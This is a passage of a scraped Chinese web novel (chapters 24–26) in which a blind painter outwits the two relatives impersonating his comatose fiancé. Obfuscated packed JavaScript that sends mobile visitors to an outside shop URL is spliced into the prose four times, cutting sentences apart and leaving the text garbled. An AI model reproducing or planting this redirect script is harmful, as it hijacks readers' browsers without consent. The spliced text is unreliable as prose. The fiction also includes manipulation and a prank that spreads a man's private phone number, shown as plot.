柯玉树打断他的话:“我以为庭英是个很好的例子,并且,和你们每个人分开的时候我都说得很清楚,不打算再继续这段关系了。合同上只是写了我们是雇佣关系,在这过程中,我自认为没有越界的地方,你们为什么都要缠着我呢?” 清冷美人似乎有些委屈,程诲南被他的话吸引了注意力,立刻想到手下查到的庭英的资料。 当夜查得有些急,只知道庭英和柯玉树是画家和模特的雇佣关系,庭英厢情愿地喜欢上了柯玉树,到现在还在继续纠缠…… 程诲南的瞳孔忽然瑟缩了一下。 通过柯玉树的只言片语,他分析出一件事——在庭英之前,可能也有模特喜欢上柯玉树。 甚至不止一个。 那样痴恋程栖山的柯玉树,原来曾经也是和他一样的情场老手,那怎么现在忽然收了心? 就因为程栖山? 程诲南越想越震惊,他后退一步,有一种世界观都崩塌的感觉,抖着声音问:“所以庭英排第几?” 柯玉树和庭英的雇佣合同刚结束没几个月,应该排在最后一位。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16955375|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 柯玉树想了想,说:“你们应该都认为他排第六,实则他排第七,第一个我从来没提起过。” 程诲南:“……” 原来还有高手吗? 程诲南被震得头皮发麻,一想到前面还有七个,他忽然有些呼吸不畅。 或许是兔死狐悲的缘故,程诲南后退一步,默认了柯玉树给他安的身份。 “可是柯教授,你亲近他人本身就是错,你这样高高在上的人,本就不该给任何人希望,没有希望,就不会有这么多麻烦。” 资料上说柯玉树和庭英签订雇佣合同后,两人在大学同进同出,柯玉树还以庭英为原型作了一幅画,引得很多学生都不满,他们认为是庭英霸占了柯教授,用自己的男色破坏了公平竞争的规则。 程诲南也很认同。 柯玉树轻嗤:“我想做什么做什么,你们喜欢我,和我有关系吗?” 十分渣的发言,但放在柯玉树身上又显得很合理,程诲南沉默了。 柯玉树也没了继续聊下去的兴致,他握着盲杖向角落的椅子走去,程诲南连忙上来想要扶柯玉树,却被他推开。 “既然都说清楚了,就不要再纠缠我,先生。我已经有未婚夫了,等眼睛治好我们就会结婚,婚后也只会有他一个人。”柯玉树冷着脸警告:“重婚罪是犯法的,出轨也是不道德的。” 柯玉树对婚姻的忠诚源自于父母,他的父母是商业联姻,在婚礼上互相看对了眼,最开始过的蜜里调油,却又因为生活久了性格不合,经常大打出手,几十年来如一日,又爱又恨,不死不休。 唯一让柯玉树感慨的是,他们居然到现在都没人出轨,这给了柯玉树很好的榜样,他也从来没跟缪斯发生过关系,十分尊重未来的结婚对象。 程诲南却因为他的话又愣在了原地,这样心神不宁的感觉,是他从前从未有过的。 他自小在国外长大,生活习惯和饮食习惯都很健康,按理来说心脏不应该出问题,现在却跳动得十分不规律。 他想,如果他成功替代了程栖山,柯玉树应该能成为自己的完美伴侣。 在此之前,程诲南没有想过把自己的心意和爱情全都放在一个人身上,他从前甚至不屑去想,现在却想要尝试。 “我明白了,柯先生。”程诲南回答。 他心中忽然升起了一种失控的感觉,内心不断叫嚣着危险远离,程诲南却没有动,而是站在柯玉树后面紧紧盯着他。 “你明白就好,以后不要再出现在我面前。”柯玉树说。 楼梯的层数向下跳动,柯玉树的手心居然有些微微冒汗,程家叔侄在他眼中一向是有些不可控的,但他却还是选择了跟程诲南单独相处。 和程诲南拉扯一番,有利于让他跟程雀枝保持平衡,让接下来的计划顺利进行。 交谈中,程诲南随时有可能动手,毕竟前段时间被带走的经历还历历在目,柯玉树对这种在钢丝上行走的危险感有些上瘾。 他背对着程诲南,嘴角忽然勾起了一抹愉悦的弧度。 “叮——” 电梯抵达一层,程诲南却没有上前来拉住柯玉树。 柯玉树知道,这一局,是自己赢了。 24.我去,柯玉树彻底怒了! 24 电梯门打开,李阿姨从里面冲了出来,看到柯玉树还在后松了口气,连忙扶着柯玉树进入电梯。 程诲南目送两人离开,任由电梯大门合上,一句话都没说。 李阿姨引着柯玉树回到门口时,她才惊觉:“柯先生,还有个小东西没有拿!” 柯先生对陶器的重视她看在眼里,一想到丢了个小东西,李阿姨不由自主着急起来。 她记得那个小东西被程诲南捏在手里,怎么办?难道还要去找一趟程诲南吗? 柯玉树却摇头说:“不用去拿了,那本来就是他做的。” 李阿姨松了口气,又开始严阵以待。 “柯先生,我要开门了。” 门后就是程雀枝安装的八个监控。 柯玉树丝毫不畏惧,说:“开门吧,李阿姨,放轻松,只是出门拿东西这一件小事,我们以后还有大事要做呢。” 李阿姨点头。 “好!” 次日清晨。 柯玉树在房间洗漱,程雀枝站在客厅中间,对着属于程诲南的半身偶冷笑。 那张脸他如何认不出来?那眉眼脸型一半程诲南,另一半却像是他那个植物人大哥,就是个血脉不纯的混血。 不该出现在他的客厅。 脏眼睛。 “迟早给你砸了。” 李阿姨全当没听到程雀枝的话,在厨房安分地准备早餐。 刚好这时候,柯玉树出来了,他听到程雀枝的话,微微皱眉说:“程栖山,你不喜欢我做的半身偶?要不搬到我屋里去吧。” 程雀枝连忙拒绝:“不不不,只是我看到这张脸有些不爽。” 他的话几乎是脱口而出,漏洞百出。 柯玉树叹了口气,说:“可是程栖山,这是你的脸啊。” 程雀枝:“……” 忘了,他还穿着程栖山的皮套。 “嗯,对,这就是我的脸,只是我现在人还活着,对着这张脸还是有些别扭,活人总要比死物有用,玉树,你放一个替代品在这里做什么?”他委委屈屈。 柯玉树转过头,嘟囔着说:“你又不让我摸你的脸。” 程雀枝:“……” 他轻咳了两声,连早饭都没来得及吃就打算落荒而逃。 “不用等我了玉树,上班快迟到了。” 柯玉树:“你不是老板吗?” 程雀枝嘴硬:“老板也不能为所欲为啊。” 柯玉树:“……好。” 程雀枝最近确实早出晚归,累得不行,不过一想到过段时间就能和柯玉树享受二人世界,他又干劲满满。 柯玉树把他送到门口,然后摸索着取下玄关的领带,不知什么时候,跟他同居的程雀枝开始让自己为他打领带,所以即便柯玉树看不到,他还是会根据李阿姨的描述,为程雀枝选择领带配色。 程雀枝低下头,看着眼前的柯玉树,两人的身高相差无几,他却感觉自己能完全把柯玉树抱住。 满满的安心感。 柯玉树的手指灵活,很快就系了一个漂亮的温莎结,再用指腹抚摸上面的皱褶,确认完美后,点了点头。 程雀枝幻想那手指落在自己身上的感觉,有些发愣,却没想到柯玉树微微抬头,凑近他,在他右边脸颊落下一个亲吻。 “一路平安。” 程雀枝捂着脸:“玉树?” 柯玉树笑着说:“该去上班了。” 他轻轻推了一下程雀枝,程雀枝立马同手同脚地走了,只是看上去魂都没了。 平层大门被关上,柯玉树吃完早餐又回了房间,直到李阿姨敲响他的房门。 “柯先生,庭医生到了。” 庭华进来了。 柯玉树躺在床上,他用右手微微撑起身,伸出左手。 “小花,咱们走吧。” 却因为丝绸被子太滑,他整个人失去平衡又要砸回到床上。 却被快步走来的庭华接住。 “好,我带你走。” 监控已经被屏蔽,两人留李阿姨一个人在家里打掩护,庭华扶着柯玉树上了车。柯玉树依旧坐在后排,他靠着窗哼歌,旁边的庭华凑近一听,有些迷茫。 “哼的什么?好有韵味的小曲。” 柯玉树转过头来没回答他的话,而是问:“小花,能念一下程栖山的病例吗?” 柯玉树并没有和他聊天的意思,庭华有些失落,但还是公事公办,在随身带着的资料里抽出程栖山的病历。 “程栖山伤得很严重的,六月内苏醒的几率不足百分之一,资料上显示,他的MDS微意识状态微弱到可以忽略不计,并且存在CMD认知-运动解离现象,能通过想象指令激活特定脑区,却无法表达……” 庭华用了许多的专业名词,柯玉树静静听着,他之前也查过这方面的资料,听得懂。 等到庭华念完,他才问:“所以他保留了听觉处理能力?是不是意味着熟悉声音有几率唤醒他?” 庭华点头说:“理论上可以,但我还是建议你不要抱太大希望,虽然有过这样的先例,但概率很小。玉树,节哀。” 按理来说,庭英至少能让玉树停留半年,现在却连一个季度都没到,庭华想,玉树应该是真的喜欢程栖山,否则不会同意和他联姻,就连他侄子都抛弃了。 程栖山到底是个什么品种的狐狸精? “不必,”柯玉树撑着下巴,问:“那程家怎么了?” 到现在,柯玉树也只是有点火气,打算跟叔侄俩玩玩,毕竟程栖山还活着,他的灵感有保障。 庭华回答:“现在集团乱成一团了,程雀枝当众宣布要卸任,程诲南不同意,两人正吵得不可开交,差点动手。” 柯玉树轻嗤一声,“两位大少爷玩票而已,动不了集团的真正核心,不用管他们,除此之外还有其他事吗?” 庭华犹豫了一会儿,还是说:“我查到了,程雀枝应该要带你去其他城市定居,时间不定,主要是为了躲程诲南。” 庭华查到这条消息的时候,差点把自己气死,说什么带柯玉树去其他城市定居,摆明了就是想把柯玉树带走圈禁起来。 玉树现在是失明状态,不做手术,说不定会永远瞎下去,到时候他就会一直依赖程雀枝,最终逃不出程雀枝的手掌心。 听到这消息,柯玉树也只是挑了挑眉,把玩着手里的盲杖,庭华见状有些着急。 “玉树,你真的要跟他走吗?” 柯玉树点头,“我之前说过,我和他的恩怨,没完,自然要和他去一趟。” 庭华失落地垂下头去,片刻后,他又整理好表情,尽量不让自己困在情绪的漩涡里。 作为庭家这一代最优秀的掌权者,很少有人看出庭华的真实情绪,他却为了柯玉树一而再,再而三控制不住自己的情绪,这样不行。 柯玉树忽然又:“小花,能帮我个忙吗?” 刚才做好的心理建设轰然崩塌,庭华连忙点头,笑着说:“当然,玉树,只要你开口我马上带你走,走得远远的,绝对不会让他们把你找到!” “不是这个,”柯玉树微微蹙眉,“是小叶,我担心跟程雀枝和程诲南斗法会影响她,能帮我盯着吗?” 庭华却皱眉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16963067|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“小叶跟瑟莲家族合作似乎已经停滞了,她那边迟迟没有传来消息,我马上派人再去战区探。” 听到庭华的话,柯玉树原本漫不经心的表情逐渐变得不悦,似乎在酝酿一场风暴。 柯玉树很少露出这样的负面情绪,但这一次不同,柯月叶是他的底线。 “小叶从来没跟我提过,程家那对叔侄也没告诉过我。” 柯玉树眉头越皱越深,甚至坐直了身体,捞出手机。 “短期项目的停滞属于博弈,一般不会告知核心层之外的人,程栖山他们不告诉你,应该也是不想让你担心。” 庭华说完,立马开始唾弃自己,他先是一语道破程家叔侄最近和柯家的龃龉,在利用柯玉树的妹妹制造矛盾,将自己置身事外,简直跟绿茶一样。 但火上浇油,有效。 柯玉树对自己的处境无所谓,如果影响到了柯月叶,柯玉树绝对不会放过他们。 果不其然,柯玉树立刻就给柯月叶拨去了电话,只是没能像往常一样响几声就接通,直到自动挂断传来忙音,对面也毫无回应。 柯玉树又拨了好几次,依旧没人接,他的面色阴沉下去。 庭华见状,连忙打电话让自己的人去查,并且宽慰柯玉树:“玉树,你不用担心,小叶那边保镖挺多,不会有什么生命危险,我已经派人过去了。” “我知道,谢谢。”柯玉树说,“但过去地中海至少要半天,我先试试其他方法。” 柯玉树又拨通了另外一个电话,电话响了几声就被挂断,柯玉树也没生气,又打了两三个电话。 终于被接听。 柯玉树:“喂,你那边有小叶的消息吗?” 电话对面忽然传来男人的叫骂声,庭华在旁边坐着,隐隐约约能听到是个中年男人,声音很刺耳,骂得也很脏。 庭华的手紧紧握成了拳。 然而柯玉树却处变不惊,他掐着点,等男人骂得差不多了才问:“骂够了吗?骂够了就去查。” “你就是这么跟你老子说话的吗?!” 庭华立刻就知道对面是谁了——超雄传奇人物,柯玉树的父亲。 柯父又说了些什么,柯玉树的脸忽然沉了下去,庭华从来没有见过柯玉树这样的表情,感觉下一刻他就要冲到国外去扛枪秒人。 以往的玉树知性有礼,对所有事都淡淡的,情绪波动不大,现在是第一次出现这么愤怒的表情,说明柯月叶真的有可能出事了。 “知道了,你的人不必过去,我会处理。” 柯玉树说完就挂断了电话,又拨通了另外一个电话,这次倒是很快被接通。 柯玉树用流利的法语对对面的人说:“……去救小姐,把所有人都带上,对,在布拉河口岸,不用管……瑟莲家族的人?算了,不用留情,一定要把小姐救出来,记得别留痕,装作当地的军方再过去。” 是柯玉树在国外的人脉。 柯玉树毕竟是柯家的少爷,即便平时再怎么装成普通柔弱的教授,这时候也依旧担得起大局,更何况他在国外不是没有人脉,他的老师是黑手党家族的继承人。 柯玉树不动柯家的人,只是不想染指柯月叶的权力。 庭华就静静看着自己的处变不惊的挚友,心脏跳得有些快。 玉树…… 柯玉树挂断电话,庭华才问:“谁动的小叶?” “程雀枝和程诲南,他们合伙动的手,应该是想抓小叶来威胁我。” 庭华没有接话,因为他知道程雀枝和程诲南完了,居然敢对小叶下手,真是踩雷踩上瘾了。 根本不用动手,他躺赢。 25.见真未婚夫 25 柯玉树又把头转了过去,即便看不见,他也下意识面向车窗,上一次车祸经历的虽然没让他PTSD,但也还是避免面对车内的封闭空间。 庭华也没有再开口,车子直到到达郊区,庭华和司机配合着带柯玉树穿过层层关卡。 司机是个很聪明的中年男人,提前给柯玉树准备好了帽子和口罩,再递来一件女士大衣,柯玉树将长发散开,远远看去真像是个女人一样。 三人靠着庭华的关系进入疗养院。 “这家疗养院的院长是我同学,程家那对叔侄对程栖山的看管不严,不用担心暴露。”庭华边走边说,带着柯玉树来到病房门口,“监控已经关了,你有半个小时的时间。” 柯玉树点头,由庭华扶着进入病房,刚进去就听到了医疗仪器的滴答声。 他摸索着床边的栏杆坐下,然后说:“谢谢你,小花,你可以出去了。” 庭华点头,“好。” 病房的大门被关上,柯玉树一一摘下自己的帽子和口罩,然后摸索着,触摸到了床边真正未婚夫的手,再顺着手一路到面部,轻轻抚摸,又重重摩擦。 这才满意。 “这才是你啊,程栖山,你知道他们是怎么玩我的吗?” 语出惊人,柯玉树的语气却依旧平和、温柔,他坐在床边,将这段时间发生的事经过艺术加工后和盘托出。 “程栖山啊,明明你才是我的未婚夫,你还用命救了我,可为什么他们顶替了你?你知道我瞎了以后,经历了哪些事吗?”柯玉树的声音越来越温柔,程栖山还醒着的时候都没尝试过他这一套温柔连招,“我对一切亲吻和拥抱都照单全收,因为我以为你是你,所以信任,可事实呢?” 柯玉树的手从程栖山的脸庞缓缓向下移动,动作轻柔,像一片羽毛似的落到了程栖山的脖子上,骤然握紧。 又慢慢放开。 柯玉树想,如果自己就在这里把程栖山掐死,他还能拿到程栖山的尸体吗? 不,现在这是法治社会,他还是想用文明人的方法解决这件事。 比如,春秋笔法。 他先点名自己的命是程栖山救的,如果程栖山能听到,想必不能免俗,会产生自满的情绪。然而,这胜利果实本该由程栖山一个人享用,却莫名其妙被其他人夺走。这样一来,即便程栖山对柯玉树的感情并不深刻,也会有一种自己的东西被他人窃取、冒犯的感觉。 这时候柯玉树再把自己放低,放柔放到受害者的地位,就更能引起程栖山的怒气,如果程栖山真的能听到,说不定头和脸会一起绿了。 程雀枝,程诲南,其实我原本不打算跟他这么说的,谁让你们…… 动了小叶呢? 美人的声音轻柔,呢喃着,像是最缱绻的爱意,透露出来的意思却锥心刺骨。 “是他们轮流欺骗我,演技可真是高超啊,直到现在我才发觉不对劲,程栖山,你的脸和声音都被他们夺走了,这可怎么办啊?我的未婚夫他们这样欺骗我,我是真的不知道该怎么办了……” 柯玉树的手指在程栖山的脖颈上划来划去,他的声音凄楚,脸上却勾着一抹漫不经心的笑容。 柯玉树此来就是想试试能不能唤醒程栖山,如果程栖山真醒了,那么这场闹剧或许会变得更加有趣。即便程栖山不醒,等到柯玉树复完仇以后,他便以未婚夫的身份把程栖山要回去。 活着就要人,死了就要尸体,柯玉树从来都不做亏本买卖,就像医学生之于大体老师,程栖山于他而言也是如此。 他需要缪斯。 “程栖山啊……我等你,我会一直等你。”柯玉树忽然抓住程栖山枯瘦的手指,引着他的手抚摸自己的脸,“一定要快些醒来,好不好?我真的快坚持不住了。” 美人的声音清澈动人,带着哀怜的祈求,即便再铁石心肠的人都会动容。庭华进来时便见到这一幕。 他站在门口,心中纠结了片刻,终于还是出声提醒:“玉树,时间差不多了,程氏集团那边有异动,我们必须马上回去。” 柯玉树:“好。” 他贴心地把程栖山的手放回被子里,然后站起来,摸索着握住了床沿边的盲杖。 庭华急走两步过来想要扶他,却被柯玉树轻轻推开。 “没事,咱们走吧。”柯玉树说。 庭华无所谓笑笑,“行。” 临到门口,柯玉树转头,最后对着未婚夫说:“真希望能再次见到你,我的未婚夫。” 他和庭华一前一后离去,病房的大门缓缓合上,溜进了最后一丝风。 那微风带着鼠尾草的香气,吹过病床上人的脸庞,忽然,被柯玉树放进被子里的手。 轻轻动了一下。 …… 车上,柯玉树忽然说:“小花,你把程诲南带走吧。” 庭华:“?” “什、什么?” 庭华要裂开了,他带走程诲南?怎么带走?同归于尽? 也不是不可以…… “你把程诲南引走,引他离开s市,好让程雀枝带我去其他地方定居,有程诲南在,我总是不好施展拳脚,他太精明了。”柯玉树说。 庭华懵懵的:“……嗯?” 柯玉树无奈,“小花怎么突然变得呆呆的了,我打算报复他们,逐个击破。程诲南的段位太高,自然要放到后面慢慢来。” 柯玉树后仰靠在车的靠垫上,把窗口放下来,刚进来的风吹进来带起他耳边的碎发,发丝在风中发光。 兴许是这缕微风还挺舒服的,柯玉树又哼起了歌,旁边坐着的庭华却微微皱眉,不太认可,但他找不到理由反驳柯玉树,也没有立场阻止柯玉树这么做。 毕竟现在两人只是普通朋友,干涉太过绝对会引起反感。 于是庭华取下自己脖子上的吊坠,那是一个被塑封后打磨光滑的平安符,他摩挲了两下,然后拉起柯玉树的手,把平安符放进柯玉树手心。 “我答应你,平安福你挂在脖子上吧,”庭华声音有些艰涩,“就当是我这个朋友送的礼物。” 那手上的平安符还带着庭华的体温,和他心中那一点点的贪念。 他害怕柯玉树拒绝自己。 不过还好,柯玉树接过了平安符。 “好,那我就收下了。” 他摸到吊坠背后的挂珠,将红绳结微微向后扯,套进了自己的脖子。 那两粒挂珠是红绳的开关,柯玉树轻轻一扯拉到红绳的末尾,吊坠就稳稳挂在了他的脖子上。 位置刚好。 柯玉树把平安符藏进领口,洁白毛衣的衣领也掩盖住了红绳,只有在扭头,或者做大幅度动作时才若隐若现。 庭华眼眸闪动。 “你喜欢就好,至于程诲南,我会把他引开的。” 柯玉树微微勾起唇角,他向庭华的方向勾了勾手指,庭华连忙凑过来。 “手。” 庭华将手覆盖在柯玉树的手心,柯玉树将他的手翻了个面。 “头。” 庭华愣了一下,然后引着柯玉树的手放在自己的头上。 柯玉树顺了两下他的头发,手心的发丝细软柔滑,变长了,一下竟没有顺到底。 “小花,我知道你能做到,也能做好,我相信你。”柯玉树轻声说,“也很高兴能再与你相遇。” 庭华微微眯起眼睛,心中舒坦了不少。 把程诲南从s市引走确实不容易,柯玉树知道,所以他得给庭华一些奖励,比如说这次摸摸头。 柯玉树不知道,只要摸一下,庭华就会真的像无脑追随他的小狗那样,答应他的所有请求。 哪怕后果是家族的一系列惩罚,哪怕柯玉树不知道,庭华都甘之如饴。 车子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16968493|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缓缓启动,两人之间流淌的气氛平和而温馨,庭华十分享受,仿佛又回到了他们一起旅游的日子,偏偏这时候庭华的电话响了。 他接起电话,挑眉。 “行,我知道了,再继续盯着。” 柯玉树也收回了手,继续靠着窗吹风,等到庭华挂断电话,他才问:“怎么了?” “程氏的会议室还在打架,程雀枝一时半会回不来,不着急。” 既然那两位一直在会议室打架,庭华又为什么急急忙忙把他叫走? 柯玉树想了想,还是选择不拆穿,只点头说:“嗯,我知道了,小花,给我讲讲他们集团的局势吧。” 朋友之间要包容。 庭华点头,:“程氏集团的大头虽然在国外,十几年前在国内也开了几家公司。程栖山这次回来并不打算组建新的集团,他们一开始就打算收购从前的企业,这样比较方便快捷,不用再走一趟流程。原本国内企业的代理人是程栖山,玉树你知道,程栖山成了植物人,现在大权落到了程诲南和程雀枝手里,这两人争执不断,斗到现在内部开始混乱,上市的事也暂时搁置。” 庭华的讲述很清晰,柯玉树问:“这两个人再这么斗下去,会影响集团吗?” 他很好奇,要是程栖山醒来知道小弟和小叔这么搞,得气成什么样? 那男人就是个冷硬直男霸总,几乎没有什么过激的行为或是举动,天天都只会工作,可越是这样,柯玉树越是想逗他。 “暂时不会,他们两个都拿捏住了集团的外贸和人脉,集团内部的高层都不敢动他。” 外贸…… 车窗外忽然飘来一缕青草的香味,柯玉树忽然说:“停车。” 庭华连忙叫停司机,红旗车停在公园旁边的即停即走通道上,司机也没有出言提醒,只当自己是个透明人。 庭华问:“怎么了?” 柯玉树摇头,在手机上找出之前的通话记录,他存了陶艺工作室人员的电话,调出来,然后递给庭华。 “你用司机的电话打过去。” 庭华照做,柯玉树又对司机说:“接通电话后装推销员,至少要让他说一句话或者一个字。” 能当庭华的司机兼保镖,中年男人自然不傻。 电话拨过去很快被接通,有男人轻声说:“喂?” 司机:“先生您好,这里也是人寿保险帝都分行,请问您……” 电话立马被挂断,虽然只有一个字,但柯玉树还是认出了那就是程诲南的声音。 程诲南曾经送货上门,用的是他原本的声音,柯玉树猜测他也有可能用的自己的私人电话。一般这种董事会议工作电话大多会静音,只有私人电话才会随身携带,在会议上接听。 柯玉树摩挲了两下手指,然后对庭华说:“小花,我还需要你现在就帮我个小忙。” 车子停在路边不过几分钟,柯玉树耳边就传来热热闹闹的讨论声音,似乎是公园里聚集了一群人,正在举办什么活动。 庭华乐呵呵地问:“你要我怎么做?” 庭华一听就知道玉树这是打算整程诲南,毕竟柯月叶就是这么权威,他自然乐意帮忙。 柯玉树把电话又递了过去。 “我记得公园旁边有个相亲角,给程诲南投一个吧,就写——八十岁老人找老伴,本人多金帅气,彩礼八十八万,八离世家,要求一胎八宝,正宫生不出就找小三,条件不限。其余的条件你自己酌情添加。” 这一套连招下来要素齐全,程诲南的私人电话估计要被打爆,庭华听后毫不留情地哈哈大笑,然后一拍胸脯说:“放心,都包在我身上。” 他立刻让司机下车去办事。 “按柯先生的要求去做,你也可以即兴发挥。” 司机一点头,话也没说就离开了车子,往公园旁边的打印店而去。 背影深藏功与名。 26.攻心为上 26 庭华亲自开车送柯玉树回去,到了楼下,李阿姨正在焦急等候,确定柯玉树安全后,她才松了口气。 “柯先生,你总算回来了。” 柯玉树和庭华道别,然后被李阿姨火急火燎地扶上楼。她取下监控接头旁边的U盘,原本被覆盖的监控恢复如常,任谁也看不出刚才两人曾经出去过。 监控恢复,柯玉树坐在客厅里发了会呆儿,然后让李阿姨帮忙把自己从家里拿的颜料取了出来。 那是老师赠予他的顶级颜料,毕业礼物,柯玉树就是用这一套颜料画出的那幅未完成的作品,然后保存在老师那里,引起了后面一系列的抄袭风波。 是矿石颜料,柯玉树让李阿姨帮忙打开后,就不再经过他人之手,自己慢慢调制色彩。 李阿姨从来没有见过失明后还要坚持画画的病人,即便柯玉树只是短暂失明,但画画对他来说还是会影响心情,她有些担忧。 作为康复医生,李阿姨尽量不建议让病人做需要用到眼睛的事情,否则会强化失明的负面暗示,进而影响病人的心态。而调颜料和画画,每一件事都在反复强调着需要眼睛辅助,这会让已经失明的人更加痛苦。 然而柯先生却不一样,在李阿姨的眼中,柯先生永远从容平静,情绪稳定,即便调颜料也不会迷茫或者发怒,甚至用手指感受颜料浓稠度的时候,都那么认真细致。 李阿姨见状,放下心来,转头去做自己的事。 柯玉树系着围裙在阳台坐了俩小时,这俩小时里,他动作迟缓地调着颜料,阳光温暖,却没有一丝光被他的眼睛捕捉。 他依照感觉调制了四种颜色,分别是石青、鸦青、酡颜和蜜合色,虽然看不见,但柯玉树知道大致色彩也差不了几度,不过这四种色彩分得很开,合在一起则会显得杂乱。 李阿姨这时候过来看看,柯玉树说:“李阿姨,能过来帮个忙吗?” “好。” 李阿姨走了过去,靠近才发现那四种颜料里面闪着细碎的光芒,十分吸睛,即便混合到一起也不会显得低级或是杂乱。 柯玉树问:“李阿姨,你能再尝试一下描述这四种颜色吗?” 李阿姨为难地看着四种颜色,犹豫着说:“嗯,深绿色,灰色,红色和黄色。” 一样的答复,一样的笼统,柯玉树轻轻叹了口气。 门响了一下,然后就是地毯和木质材料的摩擦声音,柯玉树耳朵尖听到了,他微微蹙起眉,然后柔声对李阿姨说:“能再详细描述一下吗?我还是有些不理解,你也可以根据色彩对比或者比喻描述。我现在双目失明,不知道到底调了什么样的颜色,也没有办法继续作画了……” 美人的声音有些沮丧,他身上穿着围裙和浅色的衣裳,围裙干干净净。平时的柯玉树只让人觉得清冷优雅,现在才显露出独属于艺术家的忧郁。 李阿姨为难道:“啊,这……可是我没有色彩的联想能力,抱歉啊柯先生。” 脚步声缓缓靠近,沉稳的男声响起:“让我来吧,李阿姨你去做其他事。你去做其他事。” 程雀枝和程诲南学起程栖山来,一个比一个像,柯玉树一时间分不清是谁的声音,他微微抬着头,皱起的眉头缓缓舒展。 “你回来了?” 男人:“嗯。” 李阿姨如释重负,“行,我先去准备水果。” 柯玉树这才明白回来的人是程雀枝,如果是程诲南的话,李阿姨的反应不会这么平淡,甚至会想办法提醒自己。 程雀枝走到柯玉树旁边,看着画板上在阳光下闪闪发光的四种颜色,问:“四种颜色都要描述一遍吗?” 柯玉树勾唇,“是的,像上次那样就好。” 程雀枝要开口的动作一顿。 上次?那次?程诲南那一次吗? 程雀枝最不爽的就是程诲南,他打算用自己的描述给玉树当眼睛,玉树怎么又提起那个糟心的玩意儿了? 程雀枝耐着性子说:“这一抹深绿颜色很特别,很像电影《赎罪》里女主角的那一条绿色裙子,泛着银光。给我的感觉是在山涧月光下流动的水草,顺着水动来动去,很柔顺,又很坚韧。” 听了程雀枝的描述,柯玉树有些惊讶,又有些释然,不愧是他曾经看中的小画家,灵气逼人。 柯玉树笑逐颜开,“谢谢你,亲爱的,听了你的描述,我感觉这颜色仿佛就在眼前,你很厉害,很专业。” 亲爱的? 程雀枝顿了一下,然后别开眼睛。 玉树这又是在叫他大哥了吧?还夸赞他很厉害很专业,程雀枝自然是不信的,从小到大都有大哥和小叔珠玉在前,程雀枝很少得到这样直白的夸奖,他感到受之有愧。 而且很不好意思。 “我没你说得那么厉害。”程雀枝下意识反驳。 柯玉树却用画笔蘸着那抹绿色,点在白布之间,几笔之后,程雀枝的眼睛亮了起来。 他惊讶道:“怎么做到的?” 短短几笔,柯玉树就勾勒出了水草的大概轮廓和雏形,甚至还有隐隐流动之感。 “全靠你帮我描述,这几笔画的怎么样?”柯玉树说。 程雀枝这还是首次直观地感知到柯玉树的绘画天赋,他只知道自己这个大嫂是小有名气的画家,还在大学任职教授,除此之外,几乎没怎么关注过柯玉树的事业。 随即,程雀枝又意识到柯玉树这是在佐证他的描述,驳斥他的驳斥,所以才会画这么一幅水草,证明他的描述是精准的。 程雀枝哑着声音说:“真好看。” 柯玉树问:“那你的描述怎么样?” 程雀枝:“没有那么厉害……” 柯玉树凑近:“嗯?” 程雀枝垂下眼:“一字不错。” 柯玉树点头:“孺子可教。” 程雀枝最终还是承认了自己的实力,即便只是短暂的对色彩的描述,他心中也被填补了一块。 他站在柯玉树旁边,忽然觉得有些茫然。 玉树这是在做什么? 为什么要帮他? 柯玉树是在剖析程雀枝的性格。 他现在彻底明白了,程雀枝是由偏执、缺爱、强烈的占有欲和妒忌构成的人,见不得旁人付出真心,或者得到真心,他会想尽办法把感兴趣的东西夺过来。 也就是这样的性格和从小生长的环境,造就了他自卑的性格,甚至会下意识否定自己。 这样的人最好拿捏了。 柯玉树温柔地说:“这就对了嘛,你本身就很厉害,不要妄自菲薄,你对色彩的拿捏,说不定比我还要准确。” 柯玉树的夸赞十分直白,程雀枝听着,心又像似松快了一角,雀跃无比。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16975589|193043||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >他期期艾艾:“我……” 话没出口,柯玉树接下来的话却让他如坠冰窟。 柯玉树:“好了,程栖山,我的未婚夫,咱们继续描述接下来的颜色吧。” 所以刚才玉树对他的温柔开解,都是因为程栖山吗? 他把他当成了程栖山,当成了未婚夫,才会这样温柔肆无忌惮的夸奖他,给予他安定感。 